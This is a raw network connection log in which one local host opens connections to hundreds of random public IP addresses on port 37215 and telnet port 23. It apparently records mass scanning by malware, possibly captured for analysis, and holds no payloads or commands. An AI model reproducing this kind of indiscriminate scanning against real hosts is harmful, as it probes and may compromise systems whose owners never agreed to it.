Oct 14, 2024 17:30:11.922791004 CEST	53382	37215	192.168.2.14	41.200.182.175
Oct 14, 2024 17:30:11.922791004 CEST	36252	37215	192.168.2.14	156.33.115.13
Oct 14, 2024 17:30:11.922791004 CEST	51718	37215	192.168.2.14	41.105.168.104
Oct 14, 2024 17:30:11.922791004 CEST	56742	37215	192.168.2.14	197.122.101.107
Oct 14, 2024 17:30:11.922811985 CEST	56348	37215	192.168.2.14	41.204.39.117
Oct 14, 2024 17:30:11.922812939 CEST	41140	37215	192.168.2.14	197.166.18.97
Oct 14, 2024 17:30:11.922811031 CEST	57908	37215	192.168.2.14	197.134.172.230
Oct 14, 2024 17:30:11.922811985 CEST	57222	37215	192.168.2.14	156.181.146.159
Oct 14, 2024 17:30:11.922791004 CEST	38964	37215	192.168.2.14	197.202.250.81
Oct 14, 2024 17:30:11.922811031 CEST	55992	37215	192.168.2.14	197.116.5.11
Oct 14, 2024 17:30:11.922791004 CEST	34780	37215	192.168.2.14	197.85.184.209
Oct 14, 2024 17:30:11.922811985 CEST	38998	37215	192.168.2.14	41.121.101.198
Oct 14, 2024 17:30:11.922791004 CEST	38770	37215	192.168.2.14	197.232.27.72
Oct 14, 2024 17:30:11.922818899 CEST	36806	37215	192.168.2.14	197.210.74.200
Oct 14, 2024 17:30:11.922815084 CEST	48544	37215	192.168.2.14	197.36.11.5
Oct 14, 2024 17:30:11.922812939 CEST	41214	37215	192.168.2.14	156.0.169.100
Oct 14, 2024 17:30:11.922811985 CEST	35164	37215	192.168.2.14	41.183.199.175
Oct 14, 2024 17:30:11.922811985 CEST	53490	37215	192.168.2.14	197.83.176.191
Oct 14, 2024 17:30:11.922818899 CEST	44480	37215	192.168.2.14	41.253.105.9
Oct 14, 2024 17:30:11.922812939 CEST	42342	37215	192.168.2.14	197.197.28.134
Oct 14, 2024 17:30:11.922811031 CEST	50292	37215	192.168.2.14	156.233.71.157
Oct 14, 2024 17:30:11.922815084 CEST	42482	37215	192.168.2.14	156.70.69.38
Oct 14, 2024 17:30:11.922812939 CEST	51894	37215	192.168.2.14	41.130.61.238
Oct 14, 2024 17:30:11.922811985 CEST	41274	37215	192.168.2.14	156.197.153.229
Oct 14, 2024 17:30:11.922815084 CEST	54728	37215	192.168.2.14	41.177.64.227
Oct 14, 2024 17:30:11.922815084 CEST	41960	37215	192.168.2.14	156.231.137.251
Oct 14, 2024 17:30:11.922835112 CEST	39702	37215	192.168.2.14	197.63.49.98
Oct 14, 2024 17:30:11.922815084 CEST	54338	37215	192.168.2.14	197.72.42.249
Oct 14, 2024 17:30:11.922833920 CEST	44636	37215	192.168.2.14	197.171.223.206
Oct 14, 2024 17:30:11.922815084 CEST	36560	37215	192.168.2.14	197.236.127.100
Oct 14, 2024 17:30:11.922818899 CEST	39862	37215	192.168.2.14	41.52.25.164
Oct 14, 2024 17:30:11.922833920 CEST	52492	37215	192.168.2.14	156.69.169.167
Oct 14, 2024 17:30:11.922820091 CEST	54776	37215	192.168.2.14	197.105.68.179
Oct 14, 2024 17:30:11.922820091 CEST	59700	37215	192.168.2.14	156.174.47.184
Oct 14, 2024 17:30:11.927778959 CEST	37215	36872	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:11.927840948 CEST	36872	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.927966118 CEST	36872	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.927966118 CEST	36872	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.927999020 CEST	36874	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.932800055 CEST	37215	36872	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:11.933173895 CEST	37215	36874	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:11.933228970 CEST	36874	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.933275938 CEST	36874	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.933296919 CEST	47074	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:11.938224077 CEST	37215	47074	41.127.252.72	192.168.2.14
Oct 14, 2024 17:30:11.938280106 CEST	47074	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:11.938385010 CEST	47074	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:11.938385010 CEST	47074	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:11.938404083 CEST	47076	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:11.938690901 CEST	12058	23	192.168.2.14	40.129.119.70
Oct 14, 2024 17:30:11.938693047 CEST	12058	23	192.168.2.14	207.144.94.69
Oct 14, 2024 17:30:11.938711882 CEST	37215	36874	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:11.938724041 CEST	12058	23	192.168.2.14	70.211.248.23
Oct 14, 2024 17:30:11.938724995 CEST	12058	23	192.168.2.14	75.25.146.135
Oct 14, 2024 17:30:11.938724041 CEST	12058	23	192.168.2.14	65.12.200.192
Oct 14, 2024 17:30:11.938724041 CEST	12058	23	192.168.2.14	186.224.207.202
Oct 14, 2024 17:30:11.938724041 CEST	12058	23	192.168.2.14	110.153.69.31
Oct 14, 2024 17:30:11.938731909 CEST	12058	23	192.168.2.14	88.28.111.40
Oct 14, 2024 17:30:11.938750029 CEST	12058	23	192.168.2.14	152.216.143.71
Oct 14, 2024 17:30:11.938757896 CEST	36874	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:11.938777924 CEST	12058	23	192.168.2.14	175.117.46.248
Oct 14, 2024 17:30:11.938779116 CEST	12058	23	192.168.2.14	77.68.243.13
Oct 14, 2024 17:30:11.938786030 CEST	12058	23	192.168.2.14	47.60.92.231
Oct 14, 2024 17:30:11.938802004 CEST	12058	23	192.168.2.14	4.244.201.79
Oct 14, 2024 17:30:11.938806057 CEST	12058	23	192.168.2.14	20.17.143.98
Oct 14, 2024 17:30:11.938808918 CEST	12058	23	192.168.2.14	139.247.249.173
Oct 14, 2024 17:30:11.938822985 CEST	12058	23	192.168.2.14	129.102.52.116
Oct 14, 2024 17:30:11.938827038 CEST	12058	23	192.168.2.14	179.241.83.57
Oct 14, 2024 17:30:11.938827038 CEST	12058	23	192.168.2.14	116.136.98.206
Oct 14, 2024 17:30:11.938834906 CEST	12058	23	192.168.2.14	172.12.60.37
Oct 14, 2024 17:30:11.938838959 CEST	12058	23	192.168.2.14	68.210.25.159
Oct 14, 2024 17:30:11.938849926 CEST	12058	23	192.168.2.14	120.209.203.89
Oct 14, 2024 17:30:11.938852072 CEST	12058	23	192.168.2.14	193.196.27.207
Oct 14, 2024 17:30:11.938858032 CEST	12058	23	192.168.2.14	132.24.145.235
Oct 14, 2024 17:30:11.938864946 CEST	12058	23	192.168.2.14	118.102.135.84
Oct 14, 2024 17:30:11.938868046 CEST	12058	23	192.168.2.14	148.153.154.105
Oct 14, 2024 17:30:11.938869953 CEST	12058	23	192.168.2.14	35.133.45.34
Oct 14, 2024 17:30:11.938883066 CEST	12058	23	192.168.2.14	190.197.145.242
Oct 14, 2024 17:30:11.938886881 CEST	12058	23	192.168.2.14	31.126.153.160
Oct 14, 2024 17:30:11.938888073 CEST	12058	23	192.168.2.14	43.13.126.20
Oct 14, 2024 17:30:11.938900948 CEST	12058	23	192.168.2.14	115.238.94.186
Oct 14, 2024 17:30:11.938905001 CEST	12058	23	192.168.2.14	132.46.118.194
Oct 14, 2024 17:30:11.938910007 CEST	12058	23	192.168.2.14	74.135.182.188
Oct 14, 2024 17:30:11.938918114 CEST	12058	23	192.168.2.14	68.19.29.192
Oct 14, 2024 17:30:11.938929081 CEST	12058	23	192.168.2.14	54.239.27.143
Oct 14, 2024 17:30:11.938930035 CEST	12058	23	192.168.2.14	141.113.70.116
Oct 14, 2024 17:30:11.938951969 CEST	12058	23	192.168.2.14	128.154.179.94
Oct 14, 2024 17:30:11.938951969 CEST	12058	23	192.168.2.14	9.135.49.196
Oct 14, 2024 17:30:11.938952923 CEST	12058	23	192.168.2.14	185.13.230.89
Oct 14, 2024 17:30:11.938952923 CEST	12058	23	192.168.2.14	212.39.182.11
Oct 14, 2024 17:30:11.938970089 CEST	12058	23	192.168.2.14	175.43.158.103
Oct 14, 2024 17:30:11.938970089 CEST	12058	23	192.168.2.14	125.198.6.108
Oct 14, 2024 17:30:11.938981056 CEST	12058	23	192.168.2.14	175.147.226.23
Oct 14, 2024 17:30:11.938982964 CEST	12058	23	192.168.2.14	220.113.247.81
Oct 14, 2024 17:30:11.938992023 CEST	12058	23	192.168.2.14	223.72.2.73
Oct 14, 2024 17:30:11.939009905 CEST	12058	23	192.168.2.14	168.239.25.40
Oct 14, 2024 17:30:11.939011097 CEST	12058	23	192.168.2.14	161.168.83.174
Oct 14, 2024 17:30:11.939011097 CEST	12058	23	192.168.2.14	89.219.84.219
Oct 14, 2024 17:30:11.939023018 CEST	12058	23	192.168.2.14	67.205.146.117
Oct 14, 2024 17:30:11.939032078 CEST	12058	23	192.168.2.14	140.79.24.115
Oct 14, 2024 17:30:11.939034939 CEST	12058	23	192.168.2.14	137.31.218.40
Oct 14, 2024 17:30:11.939038992 CEST	12058	23	192.168.2.14	54.44.9.85
Oct 14, 2024 17:30:11.939038992 CEST	12058	23	192.168.2.14	120.253.153.127
Oct 14, 2024 17:30:11.939040899 CEST	12058	23	192.168.2.14	134.105.3.78
Oct 14, 2024 17:30:11.939044952 CEST	12058	23	192.168.2.14	176.236.191.127
Oct 14, 2024 17:30:11.939057112 CEST	12058	23	192.168.2.14	78.14.40.156
Oct 14, 2024 17:30:11.939058065 CEST	12058	23	192.168.2.14	138.22.47.202
Oct 14, 2024 17:30:11.939063072 CEST	12058	23	192.168.2.14	67.151.150.52
Oct 14, 2024 17:30:11.939074993 CEST	12058	23	192.168.2.14	5.2.101.97
Oct 14, 2024 17:30:11.939085960 CEST	12058	23	192.168.2.14	63.233.199.140
Oct 14, 2024 17:30:11.939085960 CEST	12058	23	192.168.2.14	207.4.47.112
Oct 14, 2024 17:30:11.939100981 CEST	12058	23	192.168.2.14	200.177.34.54
Oct 14, 2024 17:30:11.939100981 CEST	12058	23	192.168.2.14	141.125.8.84
Oct 14, 2024 17:30:11.939104080 CEST	12058	23	192.168.2.14	180.223.17.66
Oct 14, 2024 17:30:11.939109087 CEST	12058	23	192.168.2.14	171.38.244.117
Oct 14, 2024 17:30:11.939122915 CEST	12058	23	192.168.2.14	170.168.42.112
Oct 14, 2024 17:30:11.939125061 CEST	12058	23	192.168.2.14	61.124.238.17
Oct 14, 2024 17:30:11.939126968 CEST	12058	23	192.168.2.14	130.148.227.73
Oct 14, 2024 17:30:11.939126968 CEST	12058	23	192.168.2.14	13.57.38.119
Oct 14, 2024 17:30:11.939146996 CEST	12058	23	192.168.2.14	144.93.250.203
Oct 14, 2024 17:30:11.939155102 CEST	12058	23	192.168.2.14	110.54.96.8
Oct 14, 2024 17:30:11.939155102 CEST	12058	23	192.168.2.14	211.222.229.200
Oct 14, 2024 17:30:11.939169884 CEST	12058	23	192.168.2.14	89.148.226.24
Oct 14, 2024 17:30:11.939172029 CEST	12058	23	192.168.2.14	208.212.141.197
Oct 14, 2024 17:30:11.939178944 CEST	12058	23	192.168.2.14	49.60.12.127
Oct 14, 2024 17:30:11.939178944 CEST	12058	23	192.168.2.14	128.97.231.51
Oct 14, 2024 17:30:11.939188957 CEST	12058	23	192.168.2.14	134.18.231.155
Oct 14, 2024 17:30:11.939208031 CEST	12058	23	192.168.2.14	110.22.24.247
Oct 14, 2024 17:30:11.939208031 CEST	12058	23	192.168.2.14	103.233.213.70
Oct 14, 2024 17:30:11.939208984 CEST	12058	23	192.168.2.14	198.243.121.103
Oct 14, 2024 17:30:11.939212084 CEST	12058	23	192.168.2.14	197.217.38.115
Oct 14, 2024 17:30:11.939214945 CEST	12058	23	192.168.2.14	51.37.160.151
Oct 14, 2024 17:30:11.939233065 CEST	12058	23	192.168.2.14	46.155.234.186
Oct 14, 2024 17:30:11.939235926 CEST	12058	23	192.168.2.14	198.32.107.107
Oct 14, 2024 17:30:11.939244032 CEST	12058	23	192.168.2.14	212.3.97.56
Oct 14, 2024 17:30:11.939254999 CEST	12058	23	192.168.2.14	212.143.29.208
Oct 14, 2024 17:30:11.939264059 CEST	12058	23	192.168.2.14	188.143.60.120
Oct 14, 2024 17:30:11.939264059 CEST	12058	23	192.168.2.14	113.101.72.87
Oct 14, 2024 17:30:11.939264059 CEST	12058	23	192.168.2.14	41.226.152.158
Oct 14, 2024 17:30:11.939271927 CEST	12058	23	192.168.2.14	90.132.146.228
Oct 14, 2024 17:30:11.939285040 CEST	12058	23	192.168.2.14	174.182.167.60
Oct 14, 2024 17:30:11.939290047 CEST	12058	23	192.168.2.14	92.216.255.143
Oct 14, 2024 17:30:11.939290047 CEST	12058	23	192.168.2.14	117.103.226.248
Oct 14, 2024 17:30:11.939308882 CEST	12058	23	192.168.2.14	153.138.157.253
Oct 14, 2024 17:30:11.939311981 CEST	12058	23	192.168.2.14	112.41.67.103
Oct 14, 2024 17:30:11.939313889 CEST	12058	23	192.168.2.14	182.178.207.134
Oct 14, 2024 17:30:11.939323902 CEST	12058	23	192.168.2.14	223.122.151.167
Oct 14, 2024 17:30:11.939325094 CEST	12058	23	192.168.2.14	141.65.6.94
Oct 14, 2024 17:30:11.939325094 CEST	12058	23	192.168.2.14	136.143.133.229
Oct 14, 2024 17:30:11.939340115 CEST	12058	23	192.168.2.14	203.105.76.20
Oct 14, 2024 17:30:11.939348936 CEST	12058	23	192.168.2.14	50.123.227.73
Oct 14, 2024 17:30:11.939348936 CEST	12058	23	192.168.2.14	207.20.124.161
Oct 14, 2024 17:30:11.939362049 CEST	12058	23	192.168.2.14	118.252.14.102
Oct 14, 2024 17:30:11.939368963 CEST	12058	23	192.168.2.14	41.132.119.108
Oct 14, 2024 17:30:11.939368963 CEST	12058	23	192.168.2.14	138.171.67.40
Oct 14, 2024 17:30:11.939379930 CEST	12058	23	192.168.2.14	84.226.220.180
Oct 14, 2024 17:30:11.939397097 CEST	12058	23	192.168.2.14	181.248.228.64
Oct 14, 2024 17:30:11.939398050 CEST	12058	23	192.168.2.14	212.61.53.164
Oct 14, 2024 17:30:11.939398050 CEST	12058	23	192.168.2.14	111.41.162.45
Oct 14, 2024 17:30:11.939403057 CEST	12058	23	192.168.2.14	204.233.153.88
Oct 14, 2024 17:30:11.939412117 CEST	12058	23	192.168.2.14	130.255.237.58
Oct 14, 2024 17:30:11.939421892 CEST	12058	23	192.168.2.14	122.179.137.91
Oct 14, 2024 17:30:11.939426899 CEST	12058	23	192.168.2.14	93.247.141.146
Oct 14, 2024 17:30:11.939434052 CEST	12058	23	192.168.2.14	200.175.12.84
Oct 14, 2024 17:30:11.939455986 CEST	12058	23	192.168.2.14	54.41.81.130
Oct 14, 2024 17:30:11.939456940 CEST	12058	23	192.168.2.14	220.73.149.240
Oct 14, 2024 17:30:11.939456940 CEST	12058	23	192.168.2.14	115.173.184.197
Oct 14, 2024 17:30:11.939467907 CEST	12058	23	192.168.2.14	144.198.106.127
Oct 14, 2024 17:30:11.939475060 CEST	12058	23	192.168.2.14	45.47.63.7
Oct 14, 2024 17:30:11.939476013 CEST	12058	23	192.168.2.14	196.152.132.51
Oct 14, 2024 17:30:11.939483881 CEST	12058	23	192.168.2.14	83.244.28.166
Oct 14, 2024 17:30:11.939495087 CEST	12058	23	192.168.2.14	95.131.18.55
Oct 14, 2024 17:30:11.939497948 CEST	12058	23	192.168.2.14	96.239.157.143
Oct 14, 2024 17:30:11.939508915 CEST	12058	23	192.168.2.14	49.142.198.14
Oct 14, 2024 17:30:11.939510107 CEST	12058	23	192.168.2.14	98.102.217.177
Oct 14, 2024 17:30:11.939516068 CEST	12058	23	192.168.2.14	51.159.30.246
Oct 14, 2024 17:30:11.939522028 CEST	12058	23	192.168.2.14	206.167.13.90
Oct 14, 2024 17:30:11.939536095 CEST	12058	23	192.168.2.14	82.45.107.249
Oct 14, 2024 17:30:11.939536095 CEST	12058	23	192.168.2.14	37.249.21.130
Oct 14, 2024 17:30:11.939539909 CEST	12058	23	192.168.2.14	141.217.46.146
Oct 14, 2024 17:30:11.939541101 CEST	12058	23	192.168.2.14	183.95.35.56
Oct 14, 2024 17:30:11.939551115 CEST	12058	23	192.168.2.14	67.221.231.63
Oct 14, 2024 17:30:11.939551115 CEST	12058	23	192.168.2.14	158.32.162.252
Oct 14, 2024 17:30:11.939567089 CEST	12058	23	192.168.2.14	72.151.218.143
Oct 14, 2024 17:30:11.939574003 CEST	12058	23	192.168.2.14	81.228.128.94
Oct 14, 2024 17:30:11.939582109 CEST	12058	23	192.168.2.14	113.222.103.22
Oct 14, 2024 17:30:11.939588070 CEST	12058	23	192.168.2.14	19.7.139.89
Oct 14, 2024 17:30:11.939588070 CEST	12058	23	192.168.2.14	117.248.173.232
Oct 14, 2024 17:30:11.939588070 CEST	12058	23	192.168.2.14	95.144.47.206
Oct 14, 2024 17:30:11.939588070 CEST	12058	23	192.168.2.14	143.188.171.52
Oct 14, 2024 17:30:11.939594030 CEST	12058	23	192.168.2.14	186.137.142.104
Oct 14, 2024 17:30:11.939604044 CEST	12058	23	192.168.2.14	71.133.165.36
Oct 14, 2024 17:30:11.939604044 CEST	12058	23	192.168.2.14	213.231.84.246
Oct 14, 2024 17:30:11.939618111 CEST	12058	23	192.168.2.14	79.158.174.158
Oct 14, 2024 17:30:11.939620972 CEST	12058	23	192.168.2.14	148.236.152.22
Oct 14, 2024 17:30:11.939623117 CEST	12058	23	192.168.2.14	140.77.111.47
Oct 14, 2024 17:30:11.939634085 CEST	12058	23	192.168.2.14	196.229.63.167
Oct 14, 2024 17:30:11.939634085 CEST	12058	23	192.168.2.14	204.130.214.27
Oct 14, 2024 17:30:11.939644098 CEST	12058	23	192.168.2.14	64.223.167.68
Oct 14, 2024 17:30:11.939646959 CEST	12058	23	192.168.2.14	211.64.234.204
Oct 14, 2024 17:30:11.939650059 CEST	12058	23	192.168.2.14	59.34.51.176
Oct 14, 2024 17:30:11.939657927 CEST	12058	23	192.168.2.14	221.129.24.254
Oct 14, 2024 17:30:11.939677000 CEST	12058	23	192.168.2.14	59.190.101.0
Oct 14, 2024 17:30:11.939682007 CEST	12058	23	192.168.2.14	219.51.75.46
Oct 14, 2024 17:30:11.939683914 CEST	12058	23	192.168.2.14	135.2.216.15
Oct 14, 2024 17:30:11.939697027 CEST	12058	23	192.168.2.14	61.193.149.254
Oct 14, 2024 17:30:11.939698935 CEST	12058	23	192.168.2.14	89.17.95.28
Oct 14, 2024 17:30:11.939704895 CEST	12058	23	192.168.2.14	108.113.164.138
Oct 14, 2024 17:30:11.939711094 CEST	12058	23	192.168.2.14	8.119.169.103
Oct 14, 2024 17:30:11.939712048 CEST	12058	23	192.168.2.14	1.119.26.242
Oct 14, 2024 17:30:11.939714909 CEST	12058	23	192.168.2.14	101.11.31.255
Oct 14, 2024 17:30:11.939728975 CEST	12058	23	192.168.2.14	68.25.33.46
Oct 14, 2024 17:30:11.939730883 CEST	12058	23	192.168.2.14	151.56.48.17
Oct 14, 2024 17:30:11.939735889 CEST	12058	23	192.168.2.14	159.93.124.13
Oct 14, 2024 17:30:11.939742088 CEST	12058	23	192.168.2.14	98.183.136.200
Oct 14, 2024 17:30:11.939744949 CEST	12058	23	192.168.2.14	14.89.181.128
Oct 14, 2024 17:30:11.939754009 CEST	12058	23	192.168.2.14	78.38.98.15
Oct 14, 2024 17:30:11.939754009 CEST	12058	23	192.168.2.14	117.138.251.184
Oct 14, 2024 17:30:11.939764023 CEST	12058	23	192.168.2.14	51.64.164.66
Oct 14, 2024 17:30:11.939771891 CEST	12058	23	192.168.2.14	126.41.79.168
Oct 14, 2024 17:30:11.939778090 CEST	12058	23	192.168.2.14	4.19.132.23
Oct 14, 2024 17:30:11.939786911 CEST	12058	23	192.168.2.14	152.157.189.186
Oct 14, 2024 17:30:11.939795017 CEST	12058	23	192.168.2.14	14.116.26.52
Oct 14, 2024 17:30:11.939801931 CEST	12058	23	192.168.2.14	139.186.171.90
Oct 14, 2024 17:30:11.939812899 CEST	12058	23	192.168.2.14	73.25.155.120
Oct 14, 2024 17:30:11.939812899 CEST	12058	23	192.168.2.14	187.244.152.22
Oct 14, 2024 17:30:11.939827919 CEST	12058	23	192.168.2.14	88.223.78.236
Oct 14, 2024 17:30:11.939837933 CEST	12058	23	192.168.2.14	45.238.160.28
Oct 14, 2024 17:30:11.939837933 CEST	12058	23	192.168.2.14	8.87.91.70
Oct 14, 2024 17:30:11.939848900 CEST	12058	23	192.168.2.14	220.113.210.63
Oct 14, 2024 17:30:11.939855099 CEST	12058	23	192.168.2.14	53.133.137.15
Oct 14, 2024 17:30:11.939862967 CEST	12058	23	192.168.2.14	129.200.20.51
Oct 14, 2024 17:30:11.939863920 CEST	12058	23	192.168.2.14	133.247.124.192
Oct 14, 2024 17:30:11.939863920 CEST	12058	23	192.168.2.14	42.216.16.250
Oct 14, 2024 17:30:11.939881086 CEST	12058	23	192.168.2.14	115.61.33.229
Oct 14, 2024 17:30:11.939891100 CEST	12058	23	192.168.2.14	208.27.76.162
Oct 14, 2024 17:30:11.939891100 CEST	12058	23	192.168.2.14	133.31.195.139
Oct 14, 2024 17:30:11.939903975 CEST	12058	23	192.168.2.14	208.30.39.209
Oct 14, 2024 17:30:11.939905882 CEST	12058	23	192.168.2.14	182.191.108.197
Oct 14, 2024 17:30:11.939913034 CEST	12058	23	192.168.2.14	182.60.118.83
Oct 14, 2024 17:30:11.939913988 CEST	12058	23	192.168.2.14	43.116.180.233
Oct 14, 2024 17:30:11.939913988 CEST	12058	23	192.168.2.14	120.197.31.120
Oct 14, 2024 17:30:11.939913988 CEST	12058	23	192.168.2.14	108.227.4.84
Oct 14, 2024 17:30:11.939922094 CEST	12058	23	192.168.2.14	208.7.18.231
Oct 14, 2024 17:30:11.939935923 CEST	12058	23	192.168.2.14	148.178.9.154
Oct 14, 2024 17:30:11.939939976 CEST	12058	23	192.168.2.14	170.147.70.141
Oct 14, 2024 17:30:11.939939976 CEST	12058	23	192.168.2.14	173.1.107.141
Oct 14, 2024 17:30:11.939956903 CEST	12058	23	192.168.2.14	175.188.45.39
Oct 14, 2024 17:30:11.939959049 CEST	12058	23	192.168.2.14	136.120.17.142
Oct 14, 2024 17:30:11.939960957 CEST	12058	23	192.168.2.14	213.152.95.69
Oct 14, 2024 17:30:11.939960957 CEST	12058	23	192.168.2.14	135.130.190.180
Oct 14, 2024 17:30:11.939981937 CEST	12058	23	192.168.2.14	87.155.9.152
Oct 14, 2024 17:30:11.939992905 CEST	12058	23	192.168.2.14	212.243.45.176
Oct 14, 2024 17:30:11.939997911 CEST	12058	23	192.168.2.14	195.91.90.88
Oct 14, 2024 17:30:11.939997911 CEST	12058	23	192.168.2.14	99.204.199.254
Oct 14, 2024 17:30:11.940001965 CEST	12058	23	192.168.2.14	106.94.204.21
Oct 14, 2024 17:30:11.940012932 CEST	12058	23	192.168.2.14	17.241.36.38
Oct 14, 2024 17:30:11.940025091 CEST	12058	23	192.168.2.14	107.12.159.235
Oct 14, 2024 17:30:11.940027952 CEST	12058	23	192.168.2.14	135.5.234.179
Oct 14, 2024 17:30:11.940036058 CEST	12058	23	192.168.2.14	170.174.123.151
Oct 14, 2024 17:30:11.940052986 CEST	12058	23	192.168.2.14	43.54.228.150
Oct 14, 2024 17:30:11.940052986 CEST	12058	23	192.168.2.14	118.145.188.55
Oct 14, 2024 17:30:11.940052986 CEST	12058	23	192.168.2.14	4.245.207.13
Oct 14, 2024 17:30:11.940064907 CEST	12058	23	192.168.2.14	174.24.209.171
Oct 14, 2024 17:30:11.940073967 CEST	12058	23	192.168.2.14	174.247.52.234
Oct 14, 2024 17:30:11.940088034 CEST	12058	23	192.168.2.14	101.85.157.221
Oct 14, 2024 17:30:11.940088034 CEST	12058	23	192.168.2.14	101.168.211.91
Oct 14, 2024 17:30:11.940088034 CEST	12058	23	192.168.2.14	25.173.181.185
Oct 14, 2024 17:30:11.940094948 CEST	12058	23	192.168.2.14	213.79.123.212
Oct 14, 2024 17:30:11.940114021 CEST	12058	23	192.168.2.14	167.153.47.145
Oct 14, 2024 17:30:11.940114021 CEST	12058	23	192.168.2.14	150.164.199.162
Oct 14, 2024 17:30:11.940115929 CEST	12058	23	192.168.2.14	19.221.133.43
Oct 14, 2024 17:30:11.940129042 CEST	12058	23	192.168.2.14	35.157.106.159
Oct 14, 2024 17:30:11.940129042 CEST	12058	23	192.168.2.14	52.71.177.163
Oct 14, 2024 17:30:11.940130949 CEST	12058	23	192.168.2.14	82.189.44.8
Oct 14, 2024 17:30:11.940135956 CEST	12058	23	192.168.2.14	94.109.69.231
Oct 14, 2024 17:30:11.940135956 CEST	12058	23	192.168.2.14	41.200.249.145
Oct 14, 2024 17:30:11.940150023 CEST	12058	23	192.168.2.14	20.10.103.26
Oct 14, 2024 17:30:11.940160036 CEST	12058	23	192.168.2.14	14.138.158.203
Oct 14, 2024 17:30:11.940162897 CEST	12058	23	192.168.2.14	143.87.80.233
Oct 14, 2024 17:30:11.940166950 CEST	12058	23	192.168.2.14	210.235.61.1
Oct 14, 2024 17:30:11.940170050 CEST	12058	23	192.168.2.14	151.240.128.143
Oct 14, 2024 17:30:11.940174103 CEST	12058	23	192.168.2.14	1.248.109.183
Oct 14, 2024 17:30:11.940175056 CEST	12058	23	192.168.2.14	61.174.130.208
Oct 14, 2024 17:30:11.940201044 CEST	12058	23	192.168.2.14	86.123.19.47
Oct 14, 2024 17:30:11.940203905 CEST	12058	23	192.168.2.14	173.28.3.75
Oct 14, 2024 17:30:11.940208912 CEST	12058	23	192.168.2.14	4.184.112.72
Oct 14, 2024 17:30:11.940216064 CEST	12058	23	192.168.2.14	143.227.19.56
Oct 14, 2024 17:30:11.940227032 CEST	12058	23	192.168.2.14	88.153.218.100
Oct 14, 2024 17:30:11.940233946 CEST	12058	23	192.168.2.14	1.45.109.155
Oct 14, 2024 17:30:11.940237999 CEST	12058	23	192.168.2.14	86.210.217.191
Oct 14, 2024 17:30:11.940251112 CEST	12058	23	192.168.2.14	13.23.14.92
Oct 14, 2024 17:30:11.940252066 CEST	12058	23	192.168.2.14	182.208.91.238
Oct 14, 2024 17:30:11.940259933 CEST	12058	23	192.168.2.14	81.105.72.165
Oct 14, 2024 17:30:11.940259933 CEST	12058	23	192.168.2.14	103.109.4.5
Oct 14, 2024 17:30:11.940268040 CEST	12058	23	192.168.2.14	63.174.166.255
Oct 14, 2024 17:30:11.940268993 CEST	12058	23	192.168.2.14	208.111.206.186
Oct 14, 2024 17:30:11.940273046 CEST	12058	23	192.168.2.14	86.135.132.20
Oct 14, 2024 17:30:11.940290928 CEST	12058	23	192.168.2.14	45.11.5.50
Oct 14, 2024 17:30:11.940290928 CEST	12058	23	192.168.2.14	147.20.91.49
Oct 14, 2024 17:30:11.940309048 CEST	12058	23	192.168.2.14	176.11.226.80
Oct 14, 2024 17:30:11.940315962 CEST	12058	23	192.168.2.14	60.243.0.200
Oct 14, 2024 17:30:11.940315962 CEST	12058	23	192.168.2.14	65.68.132.146
Oct 14, 2024 17:30:11.940325022 CEST	12058	23	192.168.2.14	54.45.63.157
Oct 14, 2024 17:30:11.940326929 CEST	12058	23	192.168.2.14	129.213.239.142
Oct 14, 2024 17:30:11.940349102 CEST	12058	23	192.168.2.14	138.122.40.190
Oct 14, 2024 17:30:11.940349102 CEST	12058	23	192.168.2.14	171.75.255.144
Oct 14, 2024 17:30:11.940355062 CEST	12058	23	192.168.2.14	59.111.184.98
Oct 14, 2024 17:30:11.940359116 CEST	12058	23	192.168.2.14	132.116.245.14
Oct 14, 2024 17:30:11.940370083 CEST	12058	23	192.168.2.14	220.93.35.210
Oct 14, 2024 17:30:11.940370083 CEST	12058	23	192.168.2.14	86.134.9.112
Oct 14, 2024 17:30:11.940381050 CEST	12058	23	192.168.2.14	146.105.161.117
Oct 14, 2024 17:30:11.940381050 CEST	12058	23	192.168.2.14	62.134.139.21
Oct 14, 2024 17:30:11.940395117 CEST	12058	23	192.168.2.14	194.192.126.121
Oct 14, 2024 17:30:11.940397024 CEST	12058	23	192.168.2.14	141.97.83.246
Oct 14, 2024 17:30:11.940397978 CEST	12058	23	192.168.2.14	184.74.171.164
Oct 14, 2024 17:30:11.940407991 CEST	12058	23	192.168.2.14	94.110.70.76
Oct 14, 2024 17:30:11.940423012 CEST	12058	23	192.168.2.14	202.66.177.194
Oct 14, 2024 17:30:11.940424919 CEST	12058	23	192.168.2.14	217.119.151.13
Oct 14, 2024 17:30:11.940428019 CEST	12058	23	192.168.2.14	159.175.247.240
Oct 14, 2024 17:30:11.940445900 CEST	12058	23	192.168.2.14	138.197.47.97
Oct 14, 2024 17:30:11.940448046 CEST	12058	23	192.168.2.14	4.250.22.26
Oct 14, 2024 17:30:11.940460920 CEST	12058	23	192.168.2.14	147.54.14.178
Oct 14, 2024 17:30:11.940468073 CEST	12058	23	192.168.2.14	204.72.1.73
Oct 14, 2024 17:30:11.940469027 CEST	12058	23	192.168.2.14	178.98.229.43
Oct 14, 2024 17:30:11.940469980 CEST	12058	23	192.168.2.14	73.87.240.71
Oct 14, 2024 17:30:11.940471888 CEST	12058	23	192.168.2.14	115.54.199.118
Oct 14, 2024 17:30:11.940469980 CEST	12058	23	192.168.2.14	74.252.209.201
Oct 14, 2024 17:30:11.940479994 CEST	12058	23	192.168.2.14	80.170.11.82
Oct 14, 2024 17:30:11.940486908 CEST	12058	23	192.168.2.14	186.177.58.127
Oct 14, 2024 17:30:11.940505028 CEST	12058	23	192.168.2.14	81.106.61.248
Oct 14, 2024 17:30:11.940505981 CEST	12058	23	192.168.2.14	147.83.88.204
